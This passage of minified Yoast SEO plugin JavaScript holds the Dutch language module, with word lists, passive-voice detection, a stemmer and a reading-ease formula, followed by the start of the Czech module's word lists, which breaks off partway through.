jgericht","marktgericht","mensgericht","nagelvast","natuurgericht","niet-gericht","ongekuist","ongericht","onuitgebracht","onuitgepakt","onuitgewerkt","oplossingsgericht","persoonsgericht","praktijkgericht","prestatiegericht","probleemgericht","procesgericht","productgericht","publieksgericht","resultaatgericht","roodgelakt","taakgericht","themagericht","toekomstgericht","toepassingsgericht","vakgericht","voortgezet","vraaggericht","wijkgericht","witgekalkt","witgelakt","zelfgemaakt","zwartgelakt","morgennacht","negenduizend","negenentwintigduizend","negenhonderd","negenhonderdduizend","negentienduizend","negentienhonderd","negentigduizend","morgenochtend","desgevallend","morgenavond","zogezegd","nergensland","ontbijtbord","onthaalbeleid","onthaalkind","ontmoedigingsbeleid","ontmoetingsavond","ontwapeningsakkoord","ontwerpakkoord","ontwerplandbouwakkoord","ontwerpwedstrijd","ontwikkelingsbeleid","ontwikkelingshulpbeleid","ontwikkelingsland","ontbeend","ontbrekend","onthullend","onthutsend","ontkennend","ontluisterend","ontoereikend","ontslagnemend","ontsmettend","ontspannend","ontstekingsremmend","ontstellend","ontwapenend","ontwijkend","ontwikkeld","ontzagwekkend","ontzettend","ontbijt","onthardingszout","ontzet","ontbijtbuffet","ontbindingsrecht","ontdekkingstocht","onterecht","ontkoppelingsbesluit","ontmijningsdienst","ontslagbesluit","ontslagdecreet","ontslagrecht","ontvangst","ontwerpbesluit","ontwerpfout","ontwerpgrondwet","ontwerpopdracht","ontwerprapport","ontwerpwet","ontwikkelingspot","ontwikkelingsproject","herdershond","herenakkoord","herenblad","herfstavond","herfstblad","herfstdraad","herfstmaand","herfstochtend","herfstwind","herkeuringsraad","heroïnehond","herseninhoud","herstelbeleid","hervormingsbeleid","herfst","hermafrodiet","hert","heraut","herfstlucht","heraanplant","herdenkingsbijeenkomst","herdenkingsconcert","herdenkingsfeest","heremietkreeft","herfstnacht","herfsttint","herinneringskunst","herkomst","heroïnespuit","heroïnetransport","heroïnevangst","herroepingsrecht","hersenkracht","hersenvlucht","hersenvocht","hersteldienst","herstelrecht","hervormingsproject","erwt","ernst","erbovenuit","ereambt","eregast","erepunt","erfenisrecht","erfrecht","ergotherapeut","ernaast","eronderuit","eropuit","ertussenuit","eruit","ervanuit","erytrocyt","eredivisiewedstrijd","erelid","erfgoedbeleid","erkenningsbeleid","errond","ervaringswereld","gebaart","gebeurt","gebiedt","gebood","gedenkt","gedraagt","geeuwt","gehoorzamt","geilt","geldt","geelt","gelooft","geneest","geniet","genoot","gerust","geurt","geeft","besnuffelt","bedeelt","bedelt","bekeert","beugelt","beamt","beantwoordt","beargumenteert","beatblogt","becijfert","becommentariërt","beconcurreert","bedaart","bedelft","bedenkt","bederft","bedient","bediscussiërt","bedoelt","bedraagt","bedreigt","bedriegt","bedrijft","bedroeft","bedwingt","beëindigt","beeldbelt","beetneemt","beft","begaat","begeleidt","begeert","begeeft","begint","begraaft","begrijpt","begroeit","behaalt","behandelt","behangt","beheert","behoedt","behoeft","behoort","behoudt","beïnvloedt","bekent","bekeurt","bekijkt","beklaagt","bekleedt","beklemt","beklimt","bekomt","bekritiseert","bekroont","belandt","beledigt","belegt","belemmert","beleeft","belt","beloont","belooft","belparkeert","beluistert","bemeesteert","bemeubelt","bemoedigt","bemoeit","benadert","benauwt","beneemt","bengelt","benieuwt","benoemt","beogt","beoordeelt","bepaalt","bepoteelt","bereidt","berekent","berooft","beschaamt","beschaaft","beschermt","beschildert","beschouwt","beschrijft","beschuldigt","beslaat","besloot","besnijdt","bespaart","bespeurt","bespioneert","bespreekt","bespringt","bestaat","bestempelt","bestrijdt","bestreed","bestudeert","bestuurt","beswaffeelt","betekent","betert","betont","betonneert","betovert","betreedt","betreft","betrekt","betreurt","betwijfelt","beult","bevalt","beeft","bevindt","bevoordeliigt","bevordert","bevraagt","bevriest","bewapent","beweert","bewijst","bewondert","bewoont","bewonersparkeert","bezaait","bezeert","beziet","bezat","bezoekt","bezorgt","bezuinigt","bezweert","verlaat","verliet","verschaalt","verspringt","vertelt","veraangenaamt","verabsoluteert","verachtvoudiigt","veradeemt","verafgoodt","verafschuwt","veralgemeent","verandert","verankert","verantwoordt","verarmt","verbabbelt","verbaliseert","verbant","verbaast","verbeeldt","verbeidt","verbergt","verbetert","verbeuzelt","verbiedt","verbood","verbijstert","verbindt","verblijft","verblindt","verbouwt","verbrandt","verbreekt","verdappert","verdedigt","verdeelt","verdenkt","verdient","verdort","verdooft","verdraait","verdraagt","verdrijft","verdringt","verdrinkt","verdroogt","verdubbelt","verdwaalt","verdwijnt","vereenvoudigt","vet","verenigt","vereert","vergaat","vergadeert","vergelijkt","vergt","vergeet","vergat","vergeeft","vergiftigt","vergoedt","vergrendelt","verhaalt","verhangt","verheldert","verheugt","verhindert","verhoogt","verhongert","verhoudt","verhuist","verhuurt","verifiërt","verjaagt","verkent","verkeert","verkiest","verklaart","verkleedt","verkleint","verkleurt","verknoeit","verkoopt","verkreukelt","verkrijgt","verlaagt","verlamt","verlangt","verleidt","verleent","verlengt","verliest","verloocheent","verloopt","verlooft","verluiert","verlummelt","vermagert","vermaalt","vermangelt","vermeldt","vermengt","vermenigvuldigt","vermijdt","vermindert","vermoedt","vermoeit","vermolmt","vermomt","vermoordt","vernauwt","verneemt","vernevelt","vernielt","vernietigt","vernieuwt","vernikkelt","vernoemt","vernummert","veronaangenaamt","veronachtzaamt","veronderstelt","verontheiliigt","verontreinigt","verontschuldigt","veroordeelt","veroorlooft","verootmoediigt","veropenbaart","verordonneert","verovert","verpandt","verpaupert","verpietert","verplegt","verplettert","verpulvert","verraadt","verried","verrechtvaardiigt","verregeent","verreist","verrekeent","verrijdt","verrijst","verroert","verrolt","verronselt","verruigt","verruilt","verruuwt","verscheurt","verschijnt","verschilt","verschimmelt","verschoont","verschraalt","verschrijft","verschroeit","verschrompelt","verschuilt","versiert","versimpelt","versjachert","versjouwt","verslaat","verslechtert","versleutelt","verslijt","versleet","verslindt","verslond","versluiert","versluist","versmaadt","versmalt","versmoort","versnelt","versnijdt","versnippert","versobert","versoepelt","versombert","verspeelt","verspeent","verspert","verspiedt","verspilt","verspint","versplintert","verspreidt","verstaat","verstond","verstaalt","verstart","verstelt","versteent","versterft","versteviigt","verstijft","verstilt","verstomt","verstoort","verstoot","verstiet","verstouwt","verstramt","verstrengt","verstrijkt","verstrooit","verstuift","verstuurt","verstuuwt","versuikert","versukkelt","vertaalt","vertedert","vertegenwoordigt","vertekeent","verteert","vertienvoudiigt","vertilt","vertimmert","vertint","vertoeft","vertoont","vertoornt","vertraagt","vertreedt","vertroebelt","vertroetelt","vertrouwt","vertwijfelt","vervaagt","vervaalt","vervalt","vervangt","vervelt","verft","verveent","verviervoudiigt","vervijfvoudiigt","vervliegt","vervloeit","vervluchtiigt","vervoedeert","vervoegt","vervoert","vervolgt","vervollediigt","vervordert","vervormt","vervreemdt","vervroegt","vervuilt","vervult","verwaait","verwaardiigt","verwaarloost","verwarmt","verwart","verwaseemt","verwatert","verwedt","verwelkoomt","verweert","verwerpt","verwerft","verweeft","verwijdt","verwijdert","verwijlt","verwijft","verwikkelt","verwildert","verwint","verwintert","verwisselt","verwittiigt","verwondt","verwondert","verwoont","verwoordt","verwringt","verwurgt","verzaagt","verzandt","verzegelt","verzegt","verzeilt","verzekert","verzelfstandiigt","verzendt","verzengt","verzesvoudiigt","verzilvert","verzinnebeeldt","verzint","verzoekt","verzoent","verzoolt","verzuilt","verzuurt","verzusteert","verzwagert","verzwaart","verzwelgt","verzwendelt","verzweert","verzwijgt","ontbiedt","ontbood","ontbeet","ontbindt","ontbolstert","ontbraamt","ontbreekt","ontcijfert","ontdoet","ontdeed","ontdooit","ontdubbelt","onteert","onterft","ontgaat","ontgeldt","ontglijdt","ontgloeit","ontgraaft","ontgrendelt","ontgroeit","ontgroent","onthaalt","onthalst","onthardt","onthaart","ontheft","ontheiligt","onthoofdt","onthoudt","onthield","onthult","ontkent","ontketeent","ontkiemt","ontkleurt","ontkoomt","ontkoppelt","ontlaadt","ontleent","ontleert","ontloopt","ontluist","ontmengt","ontmijnt","ontmoedigt","ontmythologiseert","ontneemt","ontradicaliseert","ontroert","ontrommeelt","ontruimt","ontslaat","ontspant","ontspult","ontstaat","ontstond","ontsteekt","ontvangt","ontvoert","ontvolgt","ontvoogdt","ontvriendt","ontvriest","ontwerpt","ontwijkt","ontwikkelt","ontzwavelt","herdenkt","herdacht","ergert","ekent","eruitzit","ervaart","erft"],X=["aaneengedraaid","aaneengeschakeld","aanschouwd","aanvaard","achtergebleven","achtergelaten","achterhaald","achteromgekeken","achteropgekomen","achteruitgegaan","achtervolgd","ademgehaald","bedolven","bedongen","bedorven","bedragen","bedreven","bedrogen","bedropen","bedwongen","beetgenomen","begeven","begonnen","begraven","begrepen","behangen","behouden","bekeken","beklommen","bekomen","bekropen","beleden","belezen","benomen","beraden","beschenen","beschoten","beschreven","beslagen","beslopen","besloten","besneden","besproken","besprongen","bestegen","bestolen","bestorven","bestreden","bestreken","betreden","betroffen","betrokken","bevallen","bevochten","bevolen","bevonden","bevroren","bewezen","bewogen","bezeten","bezien","beziggehouden","bezonnen","bezweken","bezworen","bijeengehouden","bijeengeroepen","blootgelegd","blootgesteld","bovengehaald","brandgesticht","buitengesloten","buitgemaakt","deelgenomen","dichtgebonden","dichtgedaan","diepgevroren","doodgegaan","doorbladerd","doorboord","doorbroken","doordacht","doordrongen","doorgrond","doorkruist","doorlopen","doorsneden","doorstaan","doorverteld","doorzien","doorzocht","drooggelegd","dwarsgezeten","ervaren","flauwgevallen","gebakken","gebannen","gebarsten","gebeden","gebersten","gebeten","geblazen","gebleken","gebleven","geblonken","geboden","gebogen","gebonden","geboren","geborgen","geborsten","gebraden","gebroken","gebrouwen","gedaan","gedoken","gedolven","gedongen","gedragen","gedreten","gedreven","gedrongen","gedronken","gedropen","gedwongen","gefloten","gegeten","gegeven","gegleden","geglommen","gegolden","gegoten","gegraven","gegrepen","gehangen","gehesen","geheven","geholpen","gehouden","gehouwen","gekeken","geklommen","geklonken","gekloven","geknepen","gekomen","gekorven","gekozen","gekregen","gekresen","gekreten","gekrompen","gekrooien","gekropen","gekunnen","gekweten","gelachen","geladen","gelaten","geleden","gelegen","geleken","gelezen","gelogen","geloken","gelopen","gemalen","gemeden","gemeten","gemoeten","gemogen","gemolken","genegen","genezen","genomen","genoten","geprezen","geraden","gereden","geregen","gereten","gerezen","geroepen","geroken","geschapen","gescheiden","geschenen","gescheten","gescholden","gescholen","geschonden","geschonken","geschoren","geschoten","geschoven","geschreden","geschreven","geschrokken","geslagen","geslapen","geslepen","gesleten","geslonken","geslopen","gesloten","gesmeten","gesmolten","gesneden","gesnoten","gesnoven","gespannen","gespeten","gespleten","gesponnen","gespoten","gesproken","gesprongen","gesproten","gestegen","gestoken","gestolen","gestonken","gestoten","gestoven","gestreden","gestreken","getreden","getroffen","getrokken","gevallen","gevangen","gevangengenomen","gevaren","gevezen","gevlochten","gevloden","gevlogen","gevloten","gevochten","gevonden","gevouwen","gevreten","gevroren","gewassen","geweken","geweten","geweven","gewezen","gewogen","gewonden","gewonnen","geworden","geworpen","geworven","gewoven","gewreten","gewreven","gewrongen","gezegen","gezeken","gezeten","gezien","gezoden","gezogen","gezonden","gezongen","gezonken","gezonnen","gezopen","gezouten","gezwegen","gezwolgen","gezwollen","gezwommen","gezwonden","gezworen","gezworven","hardgelopen","herladen","hernomen","herwonnen","herzien","huisgehouden","kennisgemaakt","klaargekomen","kortgesloten","kwaadgesproken","kwijtgeraakt","kwijtgescholden","langsgekomen","leeggelopen","leeggemaakt","lesgegeven","liefgehad","lipgelezen","meebetaald","misbruikt","misleid","mislukt","misprezen","nabewerkt","nedergedaald","omarmd","omfloerst","omhelsd","omkleed","omklemd","ommuurd","omringd","omschreven","omsingeld","omsloten","omvat","omvergeworpen","omwikkeld","omwonden","omzeild","omzoomd","omzworven","onderbouwd","onderbroken","onderdrukt","ondergaan","ondergraven","onderhandeld","onderhouden","onderkend","ondermijnd","ondernomen","onderscheiden","onderschept","ondersteund","onderstreept","ondertekend","onderverdeeld","ondervonden","ondervraagd","onderwezen","onderworpen","onderzocht","ontbeten","ontboden","ontbonden","ontbroken","ontdoken","ontgonnen","onthouden","ontkomen","ontladen","ontloken","ontlopen","ontnomen","ontraden","ontslagen","ontsloten","ontspannen","ontsprongen","ontsproten","ontstoken","onttrokken","ontvangen","ontweken","schoongemaakt","schoongewassen","stilgestaan","tandengepoetst","tegemoetgekomen","teleurgesteld","teloorgegaan","terechtgekomen","terechtgesteld","teweeggebracht","thuisbezorgd","thuisgekomen","toebehoord","toevertrouwd","tussengekomen","tussengeworpen","uitbesteed","uitbetaald","uitvergroot","uitverkocht","valsgespeeld","verbannen","verbleven","verboden","verbogen","verbonden","verborgen","verbroken","verdragen","verdreven","verdrongen","verdronken","verdroten","verdwenen","vergeleken","vergeten","vergeven","vergleden","vergolden","vergoten","vergrepen","verhangen","verheven","verholpen","verhouden","verkozen","verkregen","verladen","verlaten","verlopen","verloren","vermeden","vermogen","vernomen","verraden","verrezen","verscheiden","verschenen","verscholen","verschoten","verschoven","verschreven","verschrokken","verslagen","verslapen","versleten","verslonden","versmolten","verstoten","verstreken","vertrokken","vervallen","vervangen","vervlogen","verweten","verweven","verwezen","verworpen","verworven","verwrongen","verzonden","verzonken","verzonnen","verzopen","verzouten","verzwonden","volbracht","voldaan","voleindigd","volhard","volmaakt","volstaan","voltooid","voltrokken","voorbehouden","voorkomen","voorspeld","voorzien","wederhaald","weergalmd","weerhouden","weerkaatst","weerlegd","weerstaan"],{getWords:Z,matchRegularParticiples:ee}=n.languageProcessing,{directPrecedenceException:re,values:ne}=n.languageProcessing,{Clause:te}=ne,{getClausesSplitOnStopWords:oe,createRegexFromArray:de}=n.languageProcessing,ae={Clause:class extends te{constructor(e,r){super(e,r),this._participles=function(e){const r=Z(e),n=[/^(ge|be|ont|ver|her|er)\S+([dt])($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi,/^(aan|af|bij|binnen|los|mee|na|neer|om|onder|samen|terug|tegen|toe|uit|vast)(ge)\S+([dtn])($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi];return r.filter((e=>0!==ee(e,n).length||(0,K.includes)(X,e)))}(this.getClauseText()),this.checkParticiples()}checkParticiples(){const e=this.getParticiples().filter((e=>!(0,K.includes)(Q,e)&&!this.hasNonParticipleEnding(e)&&!re(this.getClauseText(),e,q)));this.setPassive(e.length>0)}hasNonParticipleEnding(e){return/\S+(heid|teit|tijd)($|[ \n\r\t.,'()"+\-;!?:/»«‹›<>])/gi.test(e)}},regexes:{auxiliaryRegex:de(["word","wordt","worden","werd","werden","wordend"]),stopwordRegex:de(G)}};function le(e){return oe(e,ae)}const{exceptionListHelpers:{checkIfWordEndingIsOnExceptionList:se,checkIfWordIsOnListThatCanHavePrefix:ie}}=n.languageProcessing;function ge(e,r){const n=r.find((r=>-1!==e.search(new RegExp(r[0]))));return void 0!==n&&(e=e.replace(new RegExp(n[0]),n[1])),e}function be(e,r,n){const t=ie(e,r.getVowelDoubling,n),o=function(e,r,n){if(se(e,r.endingMatch)||ie(e,r.verbs,n)||r.exactMatch.includes(e))return!0}(e,r.noVowelDoubling,n),d=function(e){return e.charAt(e.length-4)!==e.charAt(e.length-3)}(e),a=function(e,r){return-1===e.search(new RegExp(r))}(e,r.noVowelDoubling.rule);return t||!o&&d&&a}const ve=function(e){let r=e.search(/[aeiouyèäüëïöáéíóú][^aeiouyèäüëïöáéíóú]/);return-1!==r&&(r+=2),-1!==r&&r<3&&(r=3),r},ue=function(e,r,n,t){const o=function(e,r,n){const t=Object.entries(r);for(const r of t){const t=r[1].suffixes.find((r=>new RegExp(r).exec(e)));if(t){const o=new RegExp(t).exec(e),d=o[o.length-1],a=e.lastIndexOf(d);if(-1!==n&&a>=n)return{suffixIndex:a,stemModification:r[1].stemModification}}}}(e,r,n);return void 0!==o&&(e=function(e,r,n,t,o){return"hedenToHeid"===t?ge(e,o.regularStemmer.stemModifications.hedenToHeid):(e=e.substring(0,n),"changeIedtoId"===t?ge(e,o.regularStemmer.stemModifications.iedToId):"changeInktoIng"===t&&e.endsWith("ink")?ge(e,o.regularStemmer.stemModifications.inkToIng):"vowelDoubling"===t&&be(e,o.regularStemmer.stemModifications.exceptionsStemModifications,o.pastParticipleStemmer.compoundVerbsPrefixes)?ge(e,o.regularStemmer.stemModifications.doubleVowel):e)}(e,0,o.suffixIndex,o.stemModification,t)),e},ce=function(e,r,n,t){const o=Object.entries(r);for(const r of o)e=ue(e,r[1],n,t);return e},{regexHelpers:{searchAndReplaceWithRegex:he,doesWordMatchRegex:me},exceptionListHelpers:{checkIfWordEndingIsOnExceptionList:we,checkIfWordIsOnListThatCanHavePrefix:ke}}=n.languageProcessing,pe=function(e,r,n){if(me(n,r[0])){const t=n.replace(new RegExp(r[0]),r[1]);if(be(t,e.regularStemmer.stemModifications.exceptionsStemModifications,e.pastParticipleStemmer.compoundVerbsPrefixes)){return he(t,e.regularStemmer.stemModifications.doubleVowel)||t}return t}return null},fe=function(e,r){const n=r.ambiguousTAndDEndings.tOrDArePartOfStem;let t=he(e,n.firstTOrDPartOfStem);if(t)return t;if(n.verbsDenShouldBeStemmed.includes(e))return e.slice(0,-3);if(we(e,n.wordsStemOnlyEnEnding.endingMatch)||ke(e,n.wordsStemOnlyEnEnding.verbs,r.pastParticipleStemmer.compoundVerbsPrefixes)||me(e,n.denEnding)){if(t=e.slice(0,-2),be(t,r.regularStemmer.stemModifications.exceptionsStemModifications,r.pastParticipleStemmer.compoundVerbsPrefixes)){return he(t,r.regularStemmer.stemModifications.doubleVowel)||t}return t}const o=n.deEnding;if(t=pe(r,o,e),t)return t;const d=n.teAndTenEndings;return t=pe(r,d,e),t||null};function ye(e,r){if(we(r,e.ambiguousTAndDEndings.wordsTShouldBeStemmed))return r.slice(0,-1);if(me(r,e.ambiguousTAndDEndings.tOrDArePartOfStem.tEnding))return r;return fe(r,e)||null}const{flattenSortLength:je}=n.languageProcessing,ze=function(e,r,n){const t=je(n).find((r=>e.startsWith(r)));"string"==typeof t&&(e=e.slice(t.length));for(let n=0;n<r.length;n++){const o=(0,K.flatten)(r[n]);for(let r=0;r<o.length;r++)if(o.includes(e))return"string"==typeof t?t+o[0]:o[0]}return null},xe=function(e,r){for(let n=0;n<r.length;n++){const t=(0,K.flatten)(r[n]);for(let r=0;r<t.length;r++)if(e.endsWith(t[r])){const n=e.slice(0,-t[r].length);return 1===n.length?null:n.length>1?n+t[0]:t[0]}}return null},Se=function(e,r){for(let n=0;n<r.length;n++){const t=(0,K.flatten)(r[n]);for(let r=0;r<t.length;r++)if(t.includes(e))return t[0]}return null};function Pe(e,r){const n=e.stemExceptions.stemmingExceptionStemsWithFullForms;let t=ze(r,n.verbs,e.pastParticipleStemmer.compoundVerbsPrefixes);return t||(t=xe(r,n.endingMatch),t||(t=Se(r,n.exactMatch),t||null))}const{regexHelpers:{doesWordMatchRegex:Ee}}=n.languageProcessing,Fe=function(e,r){return e.includes(r)?r.slice(0,-1):null},Be=function(e,r){return e.endsWith("t")?!!r.ambiguousTAndDEndings.wordsTShouldBeStemmed.includes(e)||!Ee(e,r.ambiguousTAndDEndings.tOrDArePartOfStem.tEnding)&&!r.stemExceptions.wordsNotToBeStemmedExceptions.verbs.includes(e):!r.pastParticipleStemmer.doNotStemD.includes(e)},Me=function(e,r){if(new RegExp("^"+e.pastParticipleStemmer.participleStemmingClasses[0].regex).test(r)){const n=Fe(e.pastParticipleStemmer.doNotStemGe,r);if(n)return n;let t=r.slice(2);return t.startsWith("ë")&&(t="e"+t.slice(1)),Be(t,e)?t.slice(0,-1):t}return null},We=function(e,r,n,t,o){for(const d of t)if(new RegExp("^"+d+o).test(r)){let t=r.slice(d.length-r.length);if(n){const r=Fe(e.pastParticipleStemmer.doNotStemGe,t);if(r)return d+r;t=t.slice(2)}return t.startsWith("ë")&&(t="e"+t.slice(1)),Be(t,e)?d+t.slice(0,-1):d+t}return null},Oe=function(e,r){for(const n of e.pastParticipleStemmer.participleStemmingClasses){const t=n.regex,o=n.separable,d=o?e.pastParticipleStemmer.compoundVerbsPrefixes.separable:e.pastParticipleStemmer.compoundVerbsPrefixes.inseparable,a=We(e,r,o,d,t);if(a)return a}return null},Te=function(e,r){return e.includes(r)},Ie=function(e,r,n,t){return e.map((e=>t.startsWith(e))).some((e=>!0===e))&&t.endsWith("end")&&!r.includes(t)?ge(t.slice(0,-3),n):null};function Ve(e,r){if(r.endsWith("heid")||r.endsWith("teit")||r.endsWith("tijd")||Q.includes(r))return"";if(Te(e.pastParticipleStemmer.inseparableCompoundVerbsNotToBeStemmed,r))return r;let n=Me(e,r);return n||(n=Fe(e.pastParticipleStemmer.inseparableCompoundVerbs,r),n||(n=Ie(e.pastParticipleStemmer.compoundVerbsPrefixes.inseparable,e.pastParticipleStemmer.pastParticiplesEndingOnEnd,e.regularStemmer.stemModifications.finalChanges,r),n||(n=Oe(e,r),n||null)))}const{exceptionListHelpers:{checkIfWordEndingIsOnExceptionList:Ae,checkIfWordIsOnListThatCanHavePrefix:De},stemHelpers:{removeSuffixFromFullForm:Ce,removeSuffixesFromFullForm:Re}}=n.languageProcessing,Ne=function(e,r){let n=function(e,r){for(const n of e.stemExceptions.removeSuffixesFromFullForms){const e=Re(n.forms,n.suffixes,r);if(e)return e}for(const n of e.stemExceptions.removeSuffixFromFullForms){const e=Ce(n.forms,n.suffix,r);if(e)return e}}(r,e);return n?be(n,r.regularStemmer.stemModifications.exceptionsStemModifications,r.pastParticipleStemmer.compoundVerbsPrefixes)?(n=ge(n,r.regularStemmer.stemModifications.doubleVowel),ge(n,r.regularStemmer.stemModifications.finalChanges)):ge(n,r.regularStemmer.stemModifications.finalChanges):null};const{exceptionListHelpers:{checkIfWordEndingIsOnExceptionList:Le,checkIfWordIsOnListThatCanHavePrefix:He}}=n.languageProcessing,$e=function(e,r,n){const t=e.stemExceptions.wordsNotToBeStemmedExceptions,o=e.stemExceptions.removeSuffixesFromFullForms[1].forms,d=e.ambiguousTAndDEndings.tOrDArePartOfStem.doNotStemTOrD;if(Ve(e,n)||ye(e,n)||He(n,t.verbs,e.pastParticipleStemmer.compoundVerbsPrefixes)||Le(n,t.endingMatch)||t.exactMatch.includes(n)||o.includes(r)||Pe(e,n)||r.endsWith("heid")||Le(r,d))return!0};function qe(e,r,n){return $e(e,r,n)?null:r.slice(0,-1)}const{flattenSortLength:_e,exceptionListHelpers:{checkExceptionListWithTwoStems:Ge}}=n.languageProcessing,Je=function(e,r){for(const n of Object.keys(e))for(const t of e[n]){const e=(0,K.flatten)(Object.values(t));if(e.includes(r))return e[0]}},{baseStemmer:Ue}=n.languageProcessing;function Ye(e){const r=(0,K.get)(e.getData("morphology"),"nl",!1);return r?e=>function(e,r){const n=function(e,r){let n=Pe(r,e);if(n)return n;if(n=Ve(r,e),n)return n;const t=r.stemExceptions.wordsNotToBeStemmedExceptions;if(De(e,t.verbs,r.pastParticipleStemmer.compoundVerbsPrefixes)||Ae(e,t.endingMatch)||t.exactMatch.includes(e))return e;const o=r.ambiguousTAndDEndings.otherTAndDEndings;for(const t of o)if(e.endsWith(t)&&(n=ye(r,e),n))return n;return n=Ne(e,r),n||function(e,r){e=ge(e,r.regularStemmer.stemModifications.IAndYToUppercase);const n=ve(e),t=r.regularStemmer.suffixes;return ge(e=ce(e,t,n,r),r.regularStemmer.stemModifications.finalChanges)}(e,r)}(e,r);let t=Ge(r.stemExceptions.stemmingExceptionsWithMultipleStems.stemmingExceptionsWithTwoStems,n);if(t)return t;if(t=function(e,r){let n=_e(e.pastParticipleStemmer.compoundVerbsPrefixes).find((e=>r.startsWith(e))),t="";e.stemExceptions.stemmingExceptionsWithMultipleStems.strongAndIrregularVerbs.doNotStemPrefix.find((e=>r.endsWith(e)))?n=null:n&&(t=r.slice(n.length,r.length),t.length>2?r=t:n=null);const o=e.stemExceptions.stemmingExceptionsWithMultipleStems.strongAndIrregularVerbs.strongVerbStems,d=[o.irregularStrongVerbs,o.regularStrongVerbs,o.bothRegularAndIrregularStrongVerbs];for(let e=0;e<d.length;e++)if(Je(d[e],r))return n?n+Je(d[e],r):Je(d[e],r)}(r,n),t)return t;const o=r.ambiguousTAndDEndings.tAndDEndings;for(const t of o)if(n.endsWith(t)){const t=qe(r,n,e);if(t)return t}return n}(e,r):Ue}const{formatNumber:Ke}=n.helpers;function Qe(e){const r=206.84-.77*e.syllablesPer100Words-.93*e.averageWordsPerSentence;return Ke(r)}const{AbstractResearcher:Xe}=n.languageProcessing;class Ze extends Xe{constructor(e){super(e),Object.assign(this.config,{language:"nl",passiveConstructionType:"periphrastic",firstWordExceptions:t,functionWords:_,stopWords:G,transitionWords:d,twoPartTransitionWords:J,syllables:U,keyphraseLength:Y}),Object.assign(this.helpers,{getClauses:le,getStemmer:Ye,fleschReadingScore:Qe})}}(window.yoast=window.yoast||{}).Researcher=r})();wordpress-seo/js/dist/languages/cs.js000064400000055062147510273070013666 0ustar00(()=>{"use strict";var i={d:(e,t)=>{for(var n in t)i.o(t,n)&&!i.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:t[n]})},o:(i,e)=>Object.prototype.hasOwnProperty.call(i,e),r:i=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(i,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(i,"__esModule",{value:!0})}},e={};i.r(e),i.d(e,{default:()=>h});const t=window.yoast.analysis,n=["ten","nula","jeden","jedné","jedna","jedno","dva","dvě","dvou","tři","čtyři","pět","šest","sedm","osm","devět","deset","sto","tisíc","tento","ta","tato","to","toto","ti","tito","kdo","co"],s=["protože","když","sbohem","sotva","kdo","co","kde","odkud","kdy","odkdy","ačkoli","navzdory","ačkoli","když","kde","aby","pořádku","kdyby","jak","do","že","jako","přesně","jako","než","aby","kdo","kde","kdo","koho","kde","kolik","odkud","proč","kolik","nebo"],a=["předtím","vždyť","definitely","konečně","jasné","možné","ale","demzufolge","však","ačkoliv","protože","ovšem","zkrátka","potom","stejně","tím","jinak","zatímco","když","co","kdežto","ačkoli","přestože","čas","chvíle","chvilka","avšak","jenže","nicméně","přitom","aniž","a","proto","tedy","teda","totiž","mimoto","čímž","což","než","nejenže","také","jenom","přesto","jak","jelikož","takže","zda","sice","tudíž","jakoby","nýbrž","neboli","jen","čili","pak","jenomže","kdežto","leč","poněvadž","třeba","přece","nežli","zdali","buďto","totiž","jenom","leda","pakliže","třebaže","jakože","jakkoli","nechť","sotva","kterak","sic","jakkoliv","ledaže","ježto","třebas","jakž","pakli","zdalipak","takž","jakže","pokavaď","jakby","pokudž","sotvaže","pokad","kdyžtě","mezitímco","buďsi","byťsi","pokadž","tedyť","buďže","dle","vzhledem","místo","vedle","okolo","uprostřed","namísto","navzdory","krom","poblíž","blízko","nedaleko","začátkem","naproti","počátkem","počínaje","postupem","vlivem","vyjma","následkem","dík","zpoza","zásluhou","nevyjímaje","doprostřed","zpod","zespoda","závěrem","úvodem","přese","prostřed","nepočítaje","úměrně","vprostřed","navrch","vevnitř","zespodu","poblíže","počínajíc","nadtoť","zpozad","vyjímaje","začínaje","zespod","navrchu","vyjímajíc","navzdor","dál","veprostřed","končíc","začínajíc","nepočítajíc","zvíce","vprostředku","opodále","podále","naprostřed","vlastně","podle","samozřejmě","vždyť","zatím","dřív","radši","spíš","poprvé","nakonec","navíc","záleží","zbytek","kým","jakmile","skutečně","tentokrát","představit","jménem"],o=a.concat(["a proto","i když","i přestože","z tohoto důvodu","kromě toho","nějaký čas","k tomu","na jedné straně","stručně řečeno","jinými slovy","důvod je","důvodem je","hlavně protože","možným důvodem je","a potom","mimo to","z uvedených důvodů","z těchto důvodů","důvod je jednoduchý","teprve potom","hlavní důvod proč","nejdřív potom","přesto však","ale zároveň","ale také","během toho"]),u=function(i){let e=i;return i.forEach((t=>{(t=t.split("-")).length>0&&t.filter((e=>!i.includes(e))).length>0&&(e=e.concat(t))})),e}([].concat([],["nula","jeden","jedné","jedna","jedno","dva","dvě","dvou","tři","čtyři","pět","šest","sedm","osm","devět","deset","jedenáct","dvanáct","třináct","čtrnáct","patnáct","šestnáct","sedmnáct","osmnáct","devatenáct","dvacet","dvacet jedna","dvacet dva","dvacet tři","třicet","čtyřicet","padesát","šedesát","sedmdesát","osmdesát","devadesát","sto","dvě stě","tři sta","čtyři sta","pět set","šest set","sedm set","osm set","devět set","tisíc","dva tisíce","jedenáct tisíc","dvacet pět tisíc","sto třicet osm tisíc","milión","dva milióny","pět miliónů","šest miliónů","sedm miliónů","miliarda"],["první","druhý","druhé","třetí","čtvrtý","pátý","šestý","sedmý","osmý","devátý","desátý"],["já","ty","on","ona","ono","my","mě","mne","mi","mně","vy","oni","ony","tě","ti","tebe","tobě","jeho","něho","ho","jej","něj","ji","jí","ní","je","ně","jim","nim","jimi","nimi","jich","nich","jemu","němu","něm","mém","mým","mých","mou","mými","ním","mu","nás","nám","námi","vás","vám","mnou","námi","tebou","vámi","našich","tys","naši","můj","má","mé","mí","moje","mého","mojí","mých","mému","moji","tvůj","tvoje","tvá","tvé","tví","tvoji","tvého","tvojí","tvých","tvojích","tvému","tvým","tvou","tvém","tvých","tvými","jeho","její","náš","naše","váš","vaše","jejich","vaší","naší","ten","tento","ta","tato","to","toto","ti","tito","tyto","ty","tato","tohle","toho","abych","těch","tenhle","abyste","abychom","tyhle","tuhle","tohoto","čeho","čemu","téhle","těmi","této","tomhle","tou","tahle","žes","tímhle","těm","těchto","tomu","tu","ten","tom","tím","který","která","které","kterého","kterému","kterou","kterém","kterým","kteří","kterých","kterými","jenž","jež","jehož","jejž","něhož","nějž","jíž","níž","jemuž","němuž","jež",